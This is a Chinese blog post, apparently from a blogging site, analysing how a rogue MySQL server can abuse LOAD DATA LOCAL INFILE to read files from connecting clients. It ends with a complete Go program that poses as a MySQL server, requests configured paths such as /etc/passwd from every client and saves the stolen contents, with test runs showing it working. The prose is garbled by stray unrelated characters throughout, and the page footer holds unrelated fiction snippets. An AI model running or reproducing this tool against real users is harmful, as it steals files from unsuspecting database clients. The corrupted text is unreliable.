MySQL服務端惡意讀取客戶端文件漏洞分析并使用Golang編寫簡易蜜罐

MySQL讀取客戶端文件漏洞分析并使用Golang編寫簡易蜜罐

一鄙信、 原理概述

這并不是一個新鮮的漏洞蹈丸,我也是為了學習Golang才又拿出來炒一遍冷飯陵吸。
先大概說一下原理玻墅,MySQL客戶端和服務端通信過程中是通過對話的形式來實現(xiàn)的,客戶端發(fā)送一個操作請求壮虫,然后服務端根據(jù)客服端發(fā)送的請求來響應客戶端澳厢,在這個過程中客戶端如果一個操作需要兩步才能完成那么當它發(fā)送完第一個請求過后并不會存儲這個請求,而是直接就丟掉了囚似,所以第二步就是根據(jù)服務端的響應來繼續(xù)進行剩拢,這里服務端就可以欺騙客戶端做一些事情。
但是一般的通信都是客服端發(fā)送一個MySQL語句然后服務端根據(jù)這條語句查詢后返回結果饶唤,也沒什么可以利用的徐伐,不過MySQL有個語法LOAD DATA INFILE是用來讀取一個文件內容并插入到表中,既可以讀取服務器文件也可以讀取客服端文件募狂,讀取客服端文件的語法是load data local infile "/data/test.csv" into table TestTable;為了形象一點办素,這個語法的使用過程我用哦兩個人的對話來表示:

    1.客戶端:把我我本地/data/test.csv的內容插入到TestTable表中去
    2.服務端:請把你本地/data/test.csv的內容發(fā)送給我
    3.客戶端:好的,這是我本地/data/test.csv的內容:....
    4.服務端:成功/失敗

正常情況下這個流程是沒毛病祸穷,但是前面我說了客戶端在第二次并不知道它自己前面發(fā)送了什么給服務器摸屠,所以客戶端第二次要發(fā)送什么文件完全取決于服務端,如果這個服務端不正常粱哼,就有可能發(fā)生如下對話:

    1.客戶端:把我我本地/data/test.csv的內容插入到TestTable表中去
    2.服務端:請把你本地/etc/passwd的內容發(fā)送給我
    3.客戶端:好的季二,這是我本地/etc/passwd的內容:....
    4.服務端:....隨意了

這樣服務端就非法拿到了/etc/passwd的文件內容,今天我要實現(xiàn)的就是做一個偽服務端來欺騙善良的客戶端揭措。

二胯舷、 分析MySQL協(xié)議

從上面可以看出,只要我們實現(xiàn)一個假的MySQL服務端就能做上面的事情绊含,要實現(xiàn)一個偽MySQL服務端也不是很困難桑嘶,因為我們并不需要實現(xiàn)什么功能,只需要保證能讓客戶端通過權限認證就行了躬充,我們借助Wireshark抓包結合MySQL官方文檔就能比較容易做到逃顶,首先使用Wireshark抓包查看MySQL登錄流程:

  1. 我這里需要抓本地的數(shù)據(jù)所以還需要先設置一下讓本地的流量也經(jīng)過網(wǎng)卡,ipconfig查看本地IP和網(wǎng)關:
    ipconfig

    然后使用管理員權限執(zhí)行CMD命令:
    route add 192.168.0.130 mask 255.255.255.255 192.168.0.1

    route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
    這樣就可以抓取本地數(shù)據(jù)了充甚,不過MySQL連接地址要使用:192.168.0.130
  2. 選擇網(wǎng)卡并過濾mysql協(xié)議數(shù)據(jù)準備抓包:
    準備抓包

    使用Navicat連接MySQL服務器然后停止抓包開始分析:
    抓包數(shù)據(jù)

    因為我這里是本地抓包以政,所以源地址和目標地址都是192.168.0.130,可能不太好分辨出是客戶端還是服務端發(fā)出的伴找,但是跟局后面的流程可以看出第一個是從服務端發(fā)出的盈蛮,以此類推就行了。
    接下來就一個個分析:
  3. 分析各個數(shù)據(jù)包
    1. 第一個數(shù)據(jù)包:服務端->客戶端


    第一個包
    0000   4a 00 00 00 0a 35 2e 35 2e 35 33 00 21 00 00 00   J....5.5.53.!...
    0010   3b 46 30 59 52 6c 4a 6e 00 ff f7 21 02 00 0f 80   ;F0YRlJn.?÷!....
    0020   15 00 00 00 00 00 00 00 00 00 00 6a 49 6e 6e 5d   ...........jInn]
    0030   66 69 5f 7c 74 52 7d 00 6d 79 73 71 6c 5f 6e 61   fi_|tR}.mysql_na
    0040   74 69 76 65 5f 70 61 73 73 77 6f 72 64 00         tive_password.
    
    
    當客戶端連接上服務器技矮,服務器就會發(fā)送這第一個握手數(shù)據(jù)包抖誉,這些數(shù)據(jù)的內容取決于服務器版本和服務器配置殊轴,具體含義就需要參見:MySQL官方文檔
    從上面可以看到這個數(shù)據(jù)包一共有78個字節(jié),文檔中明確指出了第一個字節(jié)表示協(xié)議版本袒炉,支持v10和v9旁理,從Mysq3.21.0開始默認就是v10版本,那么第一個字節(jié)應該是0a我磁,但是你會發(fā)現(xiàn)上面第一個字節(jié)并不是0a而是4a韧拒,這是為什么呢?
    查閱文檔發(fā)現(xiàn):
    Mysql文檔截圖

    通過Wireshark驗證:
    Wireshark驗證

    其實前面三個字節(jié)是整個數(shù)據(jù)包從第五個字節(jié)開始的長度十性,這里是74轉換為十六進制就是4a叛溢,不過需要注意的是我們看到的數(shù)據(jù)是按照小端排列的4a 00 00,實際的順序應該是00 00 4a劲适,這點在讀取數(shù)據(jù)長度的時候要注意一下楷掉;第四個字節(jié)是這個包的序列ID,每次無論客戶端還是服務端發(fā)送數(shù)據(jù)這個序列ID都會遞增霞势,直到下一個新命令開始又會置00烹植,所以這里是00;后面的數(shù)據(jù)就是服務器的banner信息愕贡,具體格式可以參考文檔草雕,非常詳細。
    2. 第二個數(shù)據(jù)包:客戶端->服務端
    因為是分析服務端固以,客戶端的數(shù)據(jù)包就不詳細分析了墩虹,有興趣可以去官網(wǎng)文檔看看,但是這里可以根據(jù)客戶端發(fā)送來的數(shù)據(jù)判斷客戶端是否支持LOAD DATA LOCAL憨琳,具體是看第五字節(jié)的第一個位诫钓,如果是1則表示支持,如果是0則表示不支持篙螟,這點從Wireshark上面的描述也能清晰的看到菌湃,如圖:
    LOAD DATA LOCAL標志

    3. 第三個數(shù)據(jù)包:服務端->客戶端
    這個是返回一個通用包,表示認證成功還是失敗遍略,我們這里是一個成功的包惧所,具體格式參見文檔
    通用OK包格式

    對照抓包數(shù)據(jù):
    OK DATA

    4個字節(jié)依舊是包長度和序列號,這里是權限認證的第三部绪杏,所以序列號為2下愈,然后再看包內容,這里認證成功響應OK所以第一個字節(jié)的內容是00寞忿;第二個字節(jié)是此次操作影響的數(shù)據(jù)行數(shù)驰唬,這里為00顶岸;第三個字節(jié)是上次插入數(shù)據(jù)的id腔彰,還是00叫编;第四位是服務器狀態(tài)標志,里面包含了服務器的一些狀態(tài)霹抛,根據(jù)服務器設置而不同搓逾;第五位是警告數(shù),這里為00杯拐;后面三個字節(jié)都是額外信息霞篡,這里全部為00
    至此認證就結束了端逼!
    接下來就是客服端發(fā)來的Query包了朗兵。
    4. 第四個數(shù)據(jù)包:客戶端->服務端
    這第四個包就基本不用分析了,也非常簡單顶滩,就是客戶端發(fā)送給服務端的一個查詢命令COM_QUERY余掖,除了包長度和序列號剩下的包主體就由兩部分構成,一是文本協(xié)議類型(Text Protocol)礁鲁,這里是一個查詢所以就是COM_QUERY盐欺,對應的字節(jié)應該填03,剩下的就是SQL語句的文本內容了仅醇。詳情參見:官方文檔
    COM_QUERY

    當然文本協(xié)議還有很多冗美,比如:內部線程狀態(tài)(COM_SLEEP)、退出(COM_QUIT)析二、初始化/切換表(COM_INIT_DB)等等粉洼。
    想了解更多可以查看文檔
    5. 第五個數(shù)據(jù)包:服務端->客戶端
    第五個數(shù)據(jù)包是我們分析的重點叶摄!
    但是上面抓包中的第五個數(shù)據(jù)包不是我們想要的漆改,因為上面第五個包是一個普通的查詢,我們需要先分析一遍正常的load data local infile "/data/test.csv" into table test;的流程:
    這次用本地的MySQL客戶端連接准谚,連接上以后隨便切換到一張表挫剑,然后清空,開始重新開始抓包:
    準備第二次抓包

    我在桌面創(chuàng)建了一個test.txt用來測試:
    txt

    目前狀態(tài):
    準備抓包

    使用MySQL客戶端執(zhí)行SQL語句:
    第二次抓包結果

    可以看到這個操作一共產生了四個數(shù)據(jù)包柱衔,也就是我們前面描述過的正常流程樊破。接下來再分析這四個數(shù)據(jù)包:
    1. 第一個數(shù)據(jù)包:客戶端->服務端
    這第一個數(shù)據(jù)包跟上面第五個數(shù)據(jù)包的類型是一樣的,都是COM_QUERY唆铐,只是執(zhí)行的SQL語句不一樣哲戚,詳情見下圖:
    客戶端請求上傳文件
    這里能看到我們剛才在MySQL客戶端執(zhí)行的SQL語句。
    2. 第二個數(shù)據(jù)包:服務端->客戶端
    首先看圖:
    Protocol::LOCAL_INFILE_Request

    前面四個字節(jié)依舊是長度和序列號艾岂,們從fb開始分析顺少,參考官方文檔如圖所示:
    文檔

    文檔上面還配了一幅交互圖和一個例子,在我們的包中:28 00 00是整個數(shù)據(jù)包的長度,01表示這是這個流程的第二個數(shù)據(jù)包脆炎,也就是上圖中的0xfb+filename的長度梅猿,后面從4374是文件名,然后就沒啦秒裕。我們主要偽造的就是這一步袱蚓,正常流程這個文件名是在前一步客戶端發(fā)過來的,而我們可以自己隨意指定几蜻,反正客戶端“記性差”喇潘,也不記得前面發(fā)給服務端的文件名是啥。
    3. 第三個數(shù)據(jù)包:客戶端->服務端
    這個包里面的數(shù)據(jù)就是我們最終的目標了梭稚,先看官網(wǎng)的數(shù)據(jù)結構圖:
    LOCAL INFILE DATA

    這個包的結構也是超級簡單颖低,我們先不看抓包的數(shù)據(jù),自己來分析一下數(shù)據(jù)應該是什么樣的:首先整個包分為3部分:第一部分是前4個字節(jié)弧烤,即數(shù)據(jù)長度+序列號枫甲,這里的長度就是文件內容長度即123456789的長度09 00 00;序列號應該是02扼褪;后面就是文本的內容想幻。所以整個數(shù)據(jù)包沒錯的話應該就是:09 00 00 02 31 32 33 34 35 36 37 38 39,咱們來對照一下抓包的數(shù)據(jù)看看是不是一樣的:
    客服端發(fā)送的文件包

    前面都是對的话浇,不過后面好像多了四個字節(jié)脏毯。
    那后面還有四個字節(jié)又是什么東西呢?回頭再去看一下文檔就會發(fā)現(xiàn)一句話:If the client has data to send, it sends in one or more non-empty packets AS IS followed by a empty packet.也就是說只要客戶端發(fā)來了文件內容幔崖,那么在其后面就會跟上一個空的數(shù)據(jù)包食店,既然是空數(shù)據(jù)包那也就是數(shù)據(jù)長度為0的數(shù)據(jù)包了,所以前三個字節(jié)是00 00 00赏寇;第四字節(jié)的序列號還是在上面的02基礎上加103吉嫩;這樣第三個數(shù)據(jù)包就分析完了。
    4.第四個數(shù)據(jù)包:服務端->客戶端
    我們想要的數(shù)據(jù)包已經(jīng)拿到了嗅定,分析這個數(shù)據(jù)包也沒什么意義自娩,這里就不分析了。

三渠退、使用Golang編寫利用代碼

我也是剛開始學習golang忙迁,還不太熟悉這門語言,如果發(fā)現(xiàn)有錯誤的地方請多多指教碎乃,代碼里面注釋非常詳細姊扔,我就直接貼代碼了:

package main

import (
    "bufio"
    "bytes"
    "encoding/binary"
    "flag"
    "log"
    "net"
    "os"
    "strconv"
    "syscall"
)

//讀取文件時每次讀取的字節(jié)數(shù)
const bufLength = 1024

//服務器第一個數(shù)據(jù)包的數(shù)據(jù),可以根據(jù)格式自定義梅誓,這里要注意SSL字段要置0
var GreetingData = []byte{
    0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36,
    0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
    0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a,
    0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69,
    0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
    0x00,
}
//服務器第二個數(shù)據(jù)包認證成功的OK響應
var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00}
//配置文件恰梢,用于保存要讀取的文件列表佛南,默認當前目錄下的mysql.ini,可自定義
var configFile = ""
//保存要讀取的文件列表
var fileNames []string
//記錄每個客戶端連接的次數(shù)
var recordClient = make(map[string]int)

func main() {
    conf := flag.String("conf", "mysql.ini", "準備讀取的客戶端文件全路徑嵌言,一行一個")
    flag.Parse()
    configFile = *conf
    fileNames = readConfig()
    listener := initMysqlServer("0.0.0.0:3306")
    for {
        conn, err := listener.Accept()
        handleError(err, "Accept: ")
        ip := getIp(conn)
        //由于文件最后保存的文件名包含ip地址嗅回,為了本地測試加了這個
        if ip == "::1" {
            ip = "localhost"
        }
        //這里記錄每個客戶端連接的次數(shù),實現(xiàn)獲取多個文件
        _, ok := recordClient[ip]
        if ok {
            if recordClient[ip] < len(fileNames)-1 {
                recordClient[ip] += 1
            }
        } else {
            recordClient[ip] = 0
        }
        go connectionClientHandler(conn)
    }
}

//初始化服務器
func initMysqlServer(hostAndPort string) net.Listener {
    serverAddr, err := net.ResolveTCPAddr("tcp", hostAndPort)
    handleError(err, "Resolving address:port failed: '"+hostAndPort+"'")
    listener, err := net.ListenTCP("tcp", serverAddr)
    handleError(err, "ListenTCP: ")
    log.Println("Listening to: ", listener.Addr().String())
    return listener
}

func connectionClientHandler(conn net.Conn) {
    defer conn.Close()
    connFrom := conn.RemoteAddr().String()
    log.Println("Connection from: ", connFrom)
    var ibuf = make([]byte, bufLength)
    //第一個包
    _, err := conn.Write(GreetingData)
    handleError(err, "Send one")
    //第二個包
    _, err = conn.Read(ibuf[0 : bufLength-1])
    handleError(err, "Read two")
    //判斷是否有Can Use LOAD DATA LOCAL標志呀页,如果有才支持讀取文件
    if (uint8(ibuf[4]) & uint8(128)) == 0 {
        _ = conn.Close()
        log.Println("The client not support LOAD DATA LOCAL")
        return
    }
    //第三個包
    _, err = conn.Write(OkData)
    handleError(err, "Send three")
    //第四個包
    _, err = conn.Read(ibuf[0 : bufLength-1])
    handleError(err, "Read four")
    //這里根據(jù)客戶端連接的次數(shù)來選擇讀取文件列表里面的第幾個文件
    ip := getIp(conn)
    getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb}
    getFileData = append(getFileData, fileNames[recordClient[ip]]...)
    //第五個包
    _, err = conn.Write(getFileData)
    handleError(err, "Send five")
    getRequestContent(conn)
}

//獲取客戶端傳來的文件數(shù)據(jù)
func getRequestContent(conn net.Conn) {
    var content bytes.Buffer
    //先讀取數(shù)據(jù)包長度妈拌,前面3字節(jié)
    lengthBuf := make([]byte, 3)
    _, err := conn.Read(lengthBuf)
    handleError(err, "Read data length")
    totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0)))
    if totalDataLength == 0 {
        log.Println("Get no file and closed connection.")
        return
    }
    //然后丟掉1字節(jié)的序列號
    _, _ = conn.Read(make([]byte, 1))
    ibuf := make([]byte, bufLength)
    totalReadLength := 0
    //循環(huán)讀取知道讀取的長度達到包長度
    for {
        length, err := conn.Read(ibuf)
        switch err {
        case nil:
            log.Println("Get file and reading...")
            //如果本次讀取的內容長度+之前讀取的內容長度大于文件內容總長度拥坛,則本次讀取的文件內容只能留下一部分
            if length+totalReadLength > totalDataLength {
                length = totalDataLength - totalReadLength
            }
            content.Write(ibuf[0:length])
            totalReadLength += length
            if totalReadLength == totalDataLength {
                //讀取完成保存到本地文件
                saveContent(conn, content)
                //隨便寫點數(shù)據(jù)給客戶端
                _, _ = conn.Write(OkData)
            }
        case syscall.EAGAIN: // try again
            continue
        default:
            log.Println("Closed connection: ", conn.RemoteAddr().String())
            return
        }
    }
}

//保存文件
func saveContent(conn net.Conn, content bytes.Buffer) {
    ip := getIp(conn)
    saveName := ip + "-" + strconv.Itoa(recordClient[ip]) + ".txt"
    outputFile, outputError := os.OpenFile(saveName, os.O_WRONLY|os.O_CREATE, 0666)
    handleError(outputError, "Save content")
    defer outputFile.Close()
    outputWriter := bufio.NewWriter(outputFile)
    _, writeErr := outputWriter.WriteString(content.String())
    handleError(writeErr, "Write file")
    _ = outputWriter.Flush()
    return
}

//獲取當前ip
func getIp(conn net.Conn) string {
    ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
    return ip
}

//處理錯誤
func handleError(error error, info string) {
    if error != nil {
        log.Printf(info + " error:" + error.Error() + "\n")
    }
}

//讀取文件列表
func readConfig() []string {
    var line []string
    fileHandle, error := os.OpenFile(configFile, os.O_RDONLY, 0)
    handleError(error, "Open config file")
    defer fileHandle.Close()
    sc := bufio.NewScanner(fileHandle)
    /*default split the file use '\n'*/
    for sc.Scan() {
        line = append(line, sc.Text())
    }
    handleError(sc.Err(), "Read config file")
    return line
}

四蓬蝶、測試效果

  • 配置文件列表:
    • 本地:第一個和第三個文件存在,第二個不存在猜惋。
    • 服務器:第一個和第三個文件不存在丸氛,第二個存在。


      配置文件
  • 先在本地運行試試效果:
    • 使用 Navicat連接:


      Navicat

      獲取的文件:


      文件1

      文件2

      測試成功著摔!
    • 使用MySQL Client測試:
      Mysql client

      獲取的文件:
      文件1

      這里只獲取到了一個文件缓窜,原因是客戶端連接成功后只執(zhí)行了select @@version_comment limit 1來獲取詳細版本信息(Source Distribution ),一次查詢只能獲取一個文件谍咆,如果在客戶端執(zhí)行兩次查詢就可以獲取后面兩個文件:
      client

      我第一次手動查詢獲取列表第二個文件/etc/password禾锤,沒有;第二次手動查詢獲取列表第三個文件C:\Users\Administrator\Desktop\test.txt成功摹察。
  • 編譯個Linux版本放到服務器上去試試


    linux run
    • Navicat


      navicat

      連接一次只能讀取一個文件恩掷,跟MySQL客戶端一樣。

    • 在服務器本地試試供嚎,之前配置文件里面的第二行寫錯了黄娘,應該是/etc/passwd
      linux

      linux select

      結果:
      結果

      基本沒毛病。

總結

  • 漏洞要想成功出發(fā)需要兩個條件:
    • 客戶端必須啟用LOCAL-INFILE支持克滴。
    • 客戶端支持非SSL連接
  • 說實話這個漏洞還是比較雞肋的逼争,研究它主要是是為了學習一下MySQL的通信協(xié)議,同時練習一下剛開始學的Golang劝赔,在這個過程中確實也學到了很多誓焦,畢竟自己實踐過跟單純看看文章區(qū)別還是挺大的。

參考文獻

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末着帽,一起剝皮案震驚了整個濱河市罩阵,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌启摄,老刑警劉巖稿壁,帶你破解...
    沈念sama閱讀 218,640評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異歉备,居然都是意外死亡傅是,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,254評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來喧笔,“玉大人帽驯,你說我怎么就攤上這事∈檎ⅲ” “怎么了尼变?”我有些...
    開封第一講書人閱讀 165,011評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長浆劲。 經(jīng)常有香客問我嫌术,道長,這世上最難降的妖魔是什么牌借? 我笑而不...
    開封第一講書人閱讀 58,755評論 1 294
  • 正文 為了忘掉前任度气,我火速辦了婚禮,結果婚禮上膨报,老公的妹妹穿的比我還像新娘磷籍。我一直安慰自己,他們只是感情好现柠,可當我...
    茶點故事閱讀 67,774評論 6 392
  • 文/花漫 我一把揭開白布院领。 她就那樣靜靜地躺著,像睡著了一般够吩。 火紅的嫁衣襯著肌膚如雪比然。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,610評論 1 305
  • 那天废恋,我揣著相機與錄音谈秫,去河邊找鬼。 笑死鱼鼓,一個胖子當著我的面吹牛拟烫,可吹牛的內容都是我干的。 我是一名探鬼主播迄本,決...
    沈念sama閱讀 40,352評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼硕淑,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了嘉赎?” 一聲冷哼從身側響起置媳,我...
    開封第一講書人閱讀 39,257評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎公条,沒想到半個月后拇囊,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,717評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡靶橱,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,894評論 3 336
  • 正文 我和宋清朗相戀三年寥袭,在試婚紗的時候發(fā)現(xiàn)自己被綠了路捧。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,021評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡传黄,死狀恐怖杰扫,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情膘掰,我是刑警寧澤章姓,帶...
    沈念sama閱讀 35,735評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站识埋,受9級特大地震影響凡伊,放射性物質發(fā)生泄漏。R本人自食惡果不足惜惭聂,卻給世界環(huán)境...
    茶點故事閱讀 41,354評論 3 330
  • 文/蒙蒙 一窗声、第九天 我趴在偏房一處隱蔽的房頂上張望相恃。 院中可真熱鬧辜纲,春花似錦、人聲如沸拦耐。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,936評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽杀糯。三九已至扫俺,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間固翰,已是汗流浹背狼纬。 一陣腳步聲響...
    開封第一講書人閱讀 33,054評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留骂际,地道東北人疗琉。 一個月前我還...
    沈念sama閱讀 48,224評論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像歉铝,于是被迫代替她去往敵國和親盈简。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,974評論 2 355

推薦閱讀更多精彩內容

  • 今天,我興高彩烈地回家看我的語文和數(shù)學各考了多少分太示,
    Bettypig閱讀 140評論 0 0
  • 今天类缤,終于閑下來了臼勉。 吃完早點,和誦友們互動之后餐弱,便長長地躺在沙發(fā)上宴霸,享受著八天的小長假的開頭镜盯,回想著自軍訓以來的...
    酒泉信天游閱讀 796評論 2 3